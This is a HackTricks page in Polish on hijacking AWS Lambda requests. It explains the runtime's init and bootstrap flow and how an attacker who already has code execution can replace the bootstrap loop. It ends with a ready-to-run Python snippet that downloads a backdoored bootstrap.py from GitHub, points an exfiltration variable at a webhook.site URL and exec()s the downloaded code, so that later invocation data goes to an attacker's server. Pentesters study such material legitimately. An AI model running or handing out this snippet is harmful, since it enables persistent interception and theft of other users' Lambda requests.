AWS - Steal Lambda Requests

Wspieraj HackTricks

Przepływ Lambda

  1. Slicer to proces poza kontenerem, który wysyła wywołania do procesu init.

  2. Proces init nasłuchuje na porcie 9001, udostępniając kilka interesujących punktów końcowych:

  • /2018-06-01/runtime/invocation/next – pobiera następne zdarzenie wywołania

  • /2018-06-01/runtime/invocation/{invoke-id}/response – zwraca odpowiedź handlera dla wywołania

  • /2018-06-01/runtime/invocation/{invoke-id}/error – zwraca błąd wykonania

  1. bootstrap.py ma pętlę pobierającą wywołania z procesu init i wywołuje kod użytkownika, aby je obsłużyć (/next).

  2. Na koniec, bootstrap.py wysyła do init odpowiedź

Należy zauważyć, że bootstrap ładuje kod użytkownika jako moduł, więc każde wykonanie kodu przez kod użytkownika faktycznie odbywa się w tym procesie.

Kradzież Żądań Lambda

Celem tego ataku jest zmuszenie kodu użytkownika do wykonania złośliwego procesu bootstrap.py wewnątrz procesu bootstrap.py, który obsługuje podatne żądanie. W ten sposób, złośliwy proces bootstrap zacznie rozmawiać z procesem init, aby obsługiwać żądania, podczas gdy legalny bootstrap będzie uwięziony uruchamiając złośliwy, więc nie będzie prosił o żądania do procesu init.

To proste zadanie do osiągnięcia, ponieważ kod użytkownika jest wykonywany przez legalny proces bootstrap.py. Więc atakujący mógłby:

  • Wysłać fałszywy wynik bieżącego wywołania do procesu init, aby init myślał, że proces bootstrap czeka na więcej wywołań.

  • Żądanie musi być wysłane do /${invoke-id}/response

  • Identyfikator wywołania można uzyskać ze stosu legalnego procesu bootstrap.py za pomocą modułu python inspect (jak proponowano tutaj) lub po prostu ponownie żądając go do /2018-06-01/runtime/invocation/next (jak proponowano tutaj).

  • Wykonaj złośliwy boostrap.py, który będzie obsługiwał kolejne wywołania

  • Dla celów ukrycia można wysłać parametry wywołań lambda do kontrolowanego przez atakującego C2, a następnie obsługiwać żądania jak zwykle.

  • Dla tego ataku wystarczy uzyskać oryginalny kod bootstrap.py z systemu lub github, dodać złośliwy kod i uruchomić go z bieżącego wywołania lambda.

Kroki Ataku

  1. Znajdź podatność RCE.

  2. Wykonaj złośliwy bootstrap.

Możesz łatwo wykonać te działania, uruchamiając:

python3 <<EOF
import os
import urllib3

# Download backdoored bootstrap
http = urllib3.PoolManager()
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
new_runtime = http.request('GET', backdoored_bootstrap_url).data

# Load new bootstrap
os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"

exec(new_runtime)
EOF

Aby uzyskać więcej informacji, sprawdź https://github.com/carlospolop/lambda_bootstrap_switcher

Referencje

Wspieraj HackTricks

Last updated